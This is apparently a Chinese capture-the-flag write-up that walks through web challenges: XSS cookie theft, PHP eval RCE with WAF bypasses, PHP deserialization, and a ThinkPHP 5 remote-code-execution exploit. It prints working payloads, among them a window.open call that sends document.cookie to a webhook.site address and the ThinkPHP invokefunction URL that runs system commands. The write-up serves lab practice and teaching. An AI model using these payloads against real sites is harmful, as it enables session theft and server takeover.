1 | window.open('https://webhook.site/00e2409d-d2b6-434e-b23b-7afacd0f2c4a?'+document.cookie) |
- 通过window.open发起HTTP请求
- document.cookie是我们要带回的Cookie的所在位置
- 单引号之间的url即webhook产生的唯一url,没有服务器的情况下可以代替端口
- 我们来点击calculate来测试一下
- 即获取我们本机上的 刚刚自己设置的一个Cookie
点击calculate
- 查看我们的webhook
- 可以看到我们的cookie值成功被带回
Calculate
就是我们自己去触发,带回这个网页上的Cookie(默认是没有的,需要我们自己加一个)Share
就是模拟受害者(admin)去点击链接,并带回admin的Cookie(flag)
下面就可以带回admin的cookie 也就是flag了:
点击share with admin
后台会自动有机器人替我们点击产生的链接
同理我们就能获取admin的flag了
- 回到webhook查看
- 拿到flag
补充
如果webhook接收达到上限,可以通过以下方法删除cookie,重新生成url:
- F12打开控制台,从应用程序中找到对应链接的Cookie
- 删除已有Cookie
- 然后点击**+ New**即可
ez_rce
- 进入靶场,分析以下php代码
当a=ok时,再传b
eval
函数可以动态执行字符串中的 PHP 代码backDoor::evalTest($_GET['b']);
调用backDoor
类的静态方法evalTest
,执行eval($param);
语句
?a=ok&b=system('cat /flag');
其中的system()
函数可以执行系统命令,与此函数类似的还有system(),exec(),shell_exec(),passthru(), pcntl_exec(), popen(), proc_open(),反引号
- 打开HackBar
构造出playroad:
列出目录所有文件
1
?a=ok&b=system('ls /');
- flag应该在根目录下
- 用cat找出:
1 | /?a=ok&b=system('cat /flag'); |
(别忘了最后的“;”)
- 然后就可以获取flag了
补充
这道题的flag是可以输出的,因此只要cat就能得到flag
那如果题设没有给flag设置echo呢?
方法如下,构造payload:
1 | ?a=ok&b=system('cat /flag|base64'); |
- 也就是加上
|base64
- 意思是对flag进行base64编码
- 这样得到编码后的数据
Uk9JU3tldmFsX2lzX2Rhbmdlcm91c359
- 再将其进行base64解码即可得到flag
ez_rce_plus
- 首先分析一下源代码
1 | <?php |
- 可以看到页面底端有显示错误
- 这是因为请求头值不符合
1 | if (@$_SERVER['HTTP_KEY'] !== "Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==") |
- 这段代码检查 HTTP 请求头中的
HTTP_KEY
值是否等于 “Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==”。如果不相等,则输出 “authentication failed!!” 并终止脚本的执行。
- 于是第一步先在http加入请求头
1 | key |
- 然后观察代码
- 考虑利用
system()
等函数读取根目录下的flag文件 - 由于system被列为黑名单,所以采用双写绕过
- 最后查找flag
- 同样也需要双写绕过
- 获取flag
ez_rce_with_full_waf
- 打开页面,可以看到跟上一题不太一样,有一大堆的黑名单
- 主要的区别在于waf函数
1 | function waf($input) { |
- 可以看到,除了把大部分能想到的字符串都列为黑名单以外
- 还引用了replace函数,会将黑名单的字符串替换成‘hack!‘
- 也就是说不能用双写绕过了
但是代码中,有一处漏洞:
- 此时的
$nameFunction
,没有进行任何的waf过滤,因此可以不设置$_POST["function"]
参数而使用$_POST["action"]
- 于是我们不用function,用action试试:
1 | action=/system&Moose=ls / |
- 但是flag会被替换成
hack!
,该怎么绕过呢? - 我们可以使用
linux
系统的通配符如?
、[]
,将flag
写成fla?
于是构造payload
1 | action=/system&Moose=cat /fla? |
注意!(小细节)
- 这里
action=
后面记得加上/
ls
和/
之间要加个空格
补充:
另外
- 由于php是大小写不敏感的
- 所以 如果要用function的话,可以把
system
改为System
即构造payload:
1 | function=/System&Moose=cat /fla? |
- 也可以获取到flag~
攻防世界
unserialize3
- 本题需要利用反序列化字符串来进行解题,根据源码提示我们需要构造code
- 这里我们进行先对其序列化
- 得到
1 | O:4:"xctf":1:{s:4:"flag";s:3:"111";} |
- 下面构造payload
本题序列化字符串的标准格式:
- O:<类名的长度>:“<类名>”:<成员属性的个数>:{S:…
- 这里我们将属性个数由1改为2进行绕过。
- 在原页面的url处添加code的值
- 成功获得flag!
php_rce
我们来练一下攻防世界的rce
- 首先进入场景
- 可以看到打开后是一个ThinkPHP V5的界面
- 判断一下这是一个使用TinkPHP框架开发的
- 然后尝试去网上找相关的payload
- 构造payload:
1 | index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami |
- 然后我们可以自由构造指令来寻找flag
- 按套路来说,应该是先找目录
1 | ls / |
- 列出目录
- 可以看到有一个flag目录
- 然后我们用cat来进入目录,获取flag
1 | cat /flag |
- 成功拿到flag!!!